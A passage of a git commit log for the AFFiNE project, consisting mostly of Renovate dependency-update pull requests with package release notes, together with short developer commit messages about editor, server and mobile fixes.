</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 14:29:49 +00:00
L-Sun
16d4430ec9 test(editor): move tests of toc to affine (#9833) 2025-01-21 13:34:59 +00:00
pengx17
24fce7a708 fix(core): peek view backgroud (#9825)
fix bs-2416
2025-01-21 11:37:15 +00:00
akumatus
a3164b4ccf feat(core): support ai doc search panel (#9831)
Support issue [BS-2351](https://linear.app/affine-design/issue/BS-2351) and [BS-2461](https://linear.app/affine-design/issue/BS-2461).

## What changed?
- Add `chat-panel-add-popover` component.
- Refactor part of `AtMenuConfigService` into `DocSearchMenuService`.
- Add signal `content` property to `DocChip` interface for markdown content update.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">录屏2025-01-21 18.46.29.mov</video>
2025-01-21 11:20:19 +00:00
CatsJuice
ba508ffd6b chore(core): replace outlined template icon (#9784) 2025-01-21 11:03:11 +00:00
pengx17
2d09c7fe0c chore(electron): increase retry times (#9814) 2025-01-21 10:47:22 +00:00
renovate
0e8dd950a4 chore: bump up check-password-strength version to v3 (#9827)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [check-password-strength](https://redirect.github.com/deanilvincent/check-password-strength) | [`^2.0.10` -> `^3.0.0`](https://renovatebot.com/diffs/npm/check-password-strength/2.0.10/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/check-password-strength/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/check-password-strength/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/check-password-strength/2.0.10/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/check-password-strength/2.0.10/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>deanilvincent/check-password-strength (check-password-strength)</summary>

### [`v3.0.0`](https://redirect.github.com/deanilvincent/check-password-strength/releases/tag/v3.0.0)

[Compare Source](https://redirect.github.com/deanilvincent/check-password-strength/compare/v2.0.10...v3.0.0)

#### What's Changed

-   fix path for types by [@&#8203;capaj](https://redirect.github.com/capaj) in [https://github.com/deanilvincent/check-password-strength/pull/75](https://redirect.github.com/deanilvincent/check-password-strength/pull/75)
-   Fix main path by [@&#8203;cmorford](https://redirect.github.com/cmorford) in [https://github.com/deanilvincent/check-password-strength/pull/76](https://redirect.github.com/deanilvincent/check-password-strength/pull/76)
-   🏗️  updated code analysis from v1 to v4, 🦯  added node.yml,    remove .travis.yml by [@&#8203;deanilvincent](https://redirect.github.com/deanilvincent) in [https://github.com/deanilvincent/check-password-strength/pull/82](https://redirect.github.com/deanilvincent/check-password-strength/pull/82)
-   V3 - allow all symbols by default, set the default min length to 12 instead of 10, fix license filename (fix [#&#8203;78](https://redirect.github.com/deanilvincent/check-password-strength/issues/78)) by [@&#8203;Ennoriel](https://redirect.github.com/Ennoriel) in [https://github.com/deanilvincent/check-password-strength/pull/81](https://redirect.github.com/deanilvincent/check-password-strength/pull/81)

#### New Contributors

-   [@&#8203;capaj](https://redirect.github.com/capaj) made their first contribution in [https://github.com/deanilvincent/check-password-strength/pull/75](https://redirect.github.com/deanilvincent/check-password-strength/pull/75)
-   [@&#8203;cmorford](https://redirect.github.com/cmorford) made their first contribution in [https://github.com/deanilvincent/check-password-strength/pull/76](https://redirect.github.com/deanilvincent/check-password-strength/pull/76)

**Full Changelog**: https://github.com/deanilvincent/check-password-strength/compare/v2.0.8...v3.0.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 10:31:03 +00:00
fengmk2
54dd131f4e fix(server): set reqeust-id on ClsModule setup (#9829) 2025-01-21 10:15:37 +00:00
Flrande
b6a8d644f8 test(editor): add tests for heading toggle (#9820) 2025-01-21 09:35:33 +00:00
renovate
731010f7f2 chore: bump up @capacitor/keyboard version to v7 (#9826)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/keyboard](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.3` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fkeyboard/6.0.3/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fkeyboard/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fkeyboard/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fkeyboard/6.0.3/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fkeyboard/6.0.3/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/keyboard)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/keyboard@6.0.3...@capacitor/keyboard@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:58:58 +00:00
renovate
2a84c7aa5c chore: bump up @capacitor/haptics version to v7 (#9821)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/haptics](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fhaptics/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fhaptics/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fhaptics/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fhaptics/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fhaptics/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/haptics)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/haptics@6.0.2...@capacitor/haptics@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:40:00 +00:00
renovate
b299bb89fa chore: bump up @capacitor/browser version to v7 (#9812)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/browser](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.4` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fbrowser/6.0.5/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fbrowser/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fbrowser/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fbrowser/6.0.5/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fbrowser/6.0.5/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/browser)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/browser@6.0.5...@capacitor/browser@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 08:24:06 +00:00
Saul-Mirone
5783580054 fix(editor): y reactive deep watch (#9818)
Closes: [BS-2193](https://linear.app/affine-design/issue/BS-2193/fix-deep-watcher-of-reactive-yjs-data)
2025-01-21 08:08:01 +00:00
L-Sun
7400cf225f refactor(editor): highlight selected cards of TOC based on signal (#9807)
Close [BS-2314](https://linear.app/affine-design/issue/BS-2314/添加打开toc时,将note-block-高亮), [BS-1868](https://linear.app/affine-design/issue/BS-1868/toc-里面-note之间顺序可拖动性,在page和edgeless里面是不同的,这个是设计的行为么?)

This PR refactor the highlight logic of note cards of TOC panel:
- notes block selected in edgeless note
- notes block covered by text or block selection in page mode
- note cards selected in TOC for dragging

Other changes:
- remove not used codes
- add tests for highlight note cards
2025-01-21 07:50:57 +00:00
renovate
6470d83248 chore: bump up @capacitor/app version to v7 (#9811)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/app](https://redirect.github.com/ionic-team/capacitor-plugins) | [`^6.0.2` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fapp/6.0.2/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fapp/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fapp/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fapp/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fapp/6.0.2/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor-plugins (@&#8203;capacitor/app)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor-plugins/releases/tag/%40capacitor/app%407.0.0)

[Compare Source](https://redirect.github.com/ionic-team/capacitor-plugins/compare/@capacitor/app@6.0.2...@capacitor/app@7.0.0)

**Note:** Version bump only for package [@&#8203;capacitor/app](https://redirect.github.com/capacitor/app)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 07:34:11 +00:00
fengmk2
90b4dc5c00 refactor(server): use @nestjs-cls/transactional to impl database transaction (#9759) 2025-01-21 06:43:30 +00:00
forehalo
07c32d016d fix(native): possible deadlock when batching read/write (#9817) 2025-01-21 06:07:03 +00:00
CatsJuice
46ee235674 chore(core): replace add icon of section in sidebar (#9787) 2025-01-21 05:36:44 +00:00
darkskygit
1116a1d74e feat(server): supplement team email remind (#9483)
fix PD-2047 AF-1996
2025-01-21 05:18:02 +00:00
forehalo
42428fbf99 build: wrong keep classnames options (#9750) 2025-01-21 04:57:44 +00:00
Saul-Mirone
f744002808 refactor(editor): add schema on block model (#9815) 2025-01-21 03:56:10 +00:00
L-Sun
d2bde09ef6 fix(core): avoid multiple append right sidebar tab lit component (#9806)
This PR fixed that the TOC panel and frame panel will be connect and disconnect repeatly on the same instance. Similar issue:  https://github.com/toeverything/AFFiNE/pull/9019#discussion_r1872635745
2025-01-21 02:32:35 +00:00
fengmk2
6edb341255 feat(server): add requestId to all error response (#9790) 2025-01-21 01:32:59 +00:00
EYHN
97207a7ad5 fix(ios): fix ios http and ws (#9805) 2025-01-21 00:16:21 +00:00
pengx17
69e4a5e9b8 fix(infra): asynclock deadlock (#9808) 2025-01-20 17:03:15 +00:00
renovate
26cbc2a7a4 chore: bump up all non-major dependencies (#9804)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](bd896fb5f3))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](b09572acc9))
-   fix: verify token for HMR WebSocket connection ([029dcd6](029dcd6d77))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](3bd55bcb7e)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](cf0d2c8e23)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](35942cde11)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](db81c2dada)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](ad75c56dce)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](f2aed62d0b)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](47039f4643)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](8639538e64)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](e690d8bb1e)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](ea53e70952)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](71506f0a8d)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 16:43:40 +00:00
donteatfriedrice
f995f216bd fix(editor): inline latex editor should not be shown when doc is readonly (#9794)
[BS-2442](https://linear.app/affine-design/issue/BS-2442/只读时-inline-latex-node-点击不应该弹出-modal)
2025-01-20 15:44:07 +00:00
Saul-Mirone
092f9c84fa refactor(editor): remove deprecated dangerouslyRenderModel method (#9803) 2025-01-20 14:48:09 +00:00
renovate
11558b6845 chore: bump up all non-major dependencies (#9800)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.11.0` -> `2.11.1`](https://renovatebot.com/diffs/npm/jotai/2.11.0/2.11.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.11.0/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.11.0/2.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>pmndrs/jotai (jotai)</summary>

### [`v2.11.1`](https://redirect.github.com/pmndrs/jotai/releases/tag/v2.11.1)

[Compare Source](https://redirect.github.com/pmndrs/jotai/compare/v2.11.0...v2.11.1)

Jotai v2.11.0 was a big change, and we faced some fundamental issues. It required time to reconsider the architecture from the ground up. We've added various tests, and this patch version should be more stable.

Having that said, we are still in the middle of the re-architecture. If you prefer to stay away from bleeding-edge features and encounter no bugs, feel free to keep using the previous versions.

Kudos to [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky)

#### What's Changed

-   feat(core): add atom hooks for atom mount, unmount and improve dev store by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2895](https://redirect.github.com/pmndrs/jotai/pull/2895)
-   refactor(core): more readability for addBatchFunc by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2898](https://redirect.github.com/pmndrs/jotai/pull/2898)
-   feat(core): introduce atom.unstable_onInit hook by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2905](https://redirect.github.com/pmndrs/jotai/pull/2905)
-   name devStore functions by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2910](https://redirect.github.com/pmndrs/jotai/pull/2910)
-   refactor(core): replace batch dependents map with batched changed atoms by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2912](https://redirect.github.com/pmndrs/jotai/pull/2912)
-   refactor: following up [#&#8203;2912](https://redirect.github.com/pmndrs/jotai/issues/2912) by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2915](https://redirect.github.com/pmndrs/jotai/pull/2915)
-   refactor: eliminate batch by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2925](https://redirect.github.com/pmndrs/jotai/pull/2925)
-   fix: derived atom is not recomputed after its dependencies changed [#&#8203;2906](https://redirect.github.com/pmndrs/jotai/issues/2906) by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2907](https://redirect.github.com/pmndrs/jotai/pull/2907)
-   refactor(store): Replace runWithTransactions to flushCallbacks by [@&#8203;dmaskasky](https://redirect.github.com/dmaskasky) in [https://github.com/pmndrs/jotai/pull/2946](https://redirect.github.com/pmndrs/jotai/pull/2946)
-   refactor(store): avoid transaction by [@&#8203;dai-shi](https://redirect.github.com/dai-shi) in [https://github.com/pmndrs/jotai/pull/2950](https://redirect.github.com/pmndrs/jotai/pull/2950)
